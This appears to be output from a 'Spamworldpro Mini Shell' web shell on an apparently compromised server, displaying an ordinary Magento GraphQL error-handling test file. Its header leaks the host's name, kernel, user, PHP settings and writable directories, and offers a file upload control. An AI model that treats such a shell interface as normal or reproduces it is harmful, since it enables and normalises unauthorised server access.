Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/api-functional/testsuite/Magento/GraphQl/Framework/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/api-functional/testsuite/Magento/GraphQl/Framework/ErrorHandlerTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\GraphQl\Framework;

use Magento\TestFramework\TestCase\GraphQlAbstract;

/**
 * Tests error handling for GraphQL.
 */
class ErrorHandlerTest extends GraphQlAbstract
{
    /**
     * Test that when not in developer mode, only the first error message is reported.
     *
     * This is important for performance optimization, since an infinite number of errors
     * can be reported for a single query.
     */
    public function testErrorHandlerReportsFirstErrorOnly()
    {
        $query = <<<QUERY
query {
  countries {
    full_name_english @aaaaaa @bbbbbb @cccccc
    full_name_locale @skip
    ...countryAbbrev
  }
}

fragment countryAbbrev on Country {
   two_letter_abbreviation @aaaaa
   three_letter_abbreviation @aaaaaa
}
QUERY;
        try {
            $this->graphQlQuery($query);
        } catch (\Exception $e) {
            $responseData = $e->getResponseData();
            self::assertCount(1, $responseData['errors']);

            $errorMsg = $responseData['errors'][0]['message'];
            self::assertMatchesRegularExpression('/Unknown directive \"@aaaaaa\"./', $errorMsg);
        }
    }
}

Spamworldpro Mini